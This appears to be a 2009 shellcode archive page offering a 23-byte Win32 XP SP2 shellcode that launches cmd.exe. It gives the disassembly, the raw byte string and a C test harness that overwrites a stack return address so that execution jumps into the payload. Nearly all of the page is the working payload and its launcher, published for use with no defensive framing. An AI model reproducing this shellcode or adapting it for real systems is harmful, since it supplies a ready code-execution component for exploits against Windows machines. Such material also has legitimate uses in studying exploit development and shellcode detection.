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23 Bytes Small Win32 Shellcode

23 Bytes Small Win32 Shellcode
Posted Jul 17, 2009
Authored by Stack | Site v4-team.com

23 bytes small win32 XP shellcode that executes cmd.exe.

tags | shellcode
systems | windows
SHA-256 | 18b4f1a4f1ea7b2e6cccf1c44dd49d10c60e7b3b5ae2a386ae008789d93d09f9

23 Bytes Small Win32 Shellcode

Change Mirror Download
/*
win32/xp sp2 (En) cmd.exe 23 bytes
Author : Mountassif Moad
A.K.A : Stack
Description : It's a 23 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 En

get the following if we disassemle this code compiled with olly debugger

00402000 > 8BEC MOV EBP,ESP
00402002 . 68 65786520 PUSH 20657865
00402007 . 68 636D642E PUSH 2E646D63
0040200C . 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
0040200F . 50 PUSH EAX
00402010 . B8 8D15867C MOV EAX,kernel32.WinExec
00402015 . FFD0 CALL EAX
*/
#include <stdio.h>
unsigned char shellcode[] =
"\x8b\xec\x68\x65\x78\x65"
"\x20\x68\x63\x6d\x64\x2e"
"\x8d\x45\xf8\x50\xb8\x8D"
"\x15\x86\x7C\xff\xd0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}

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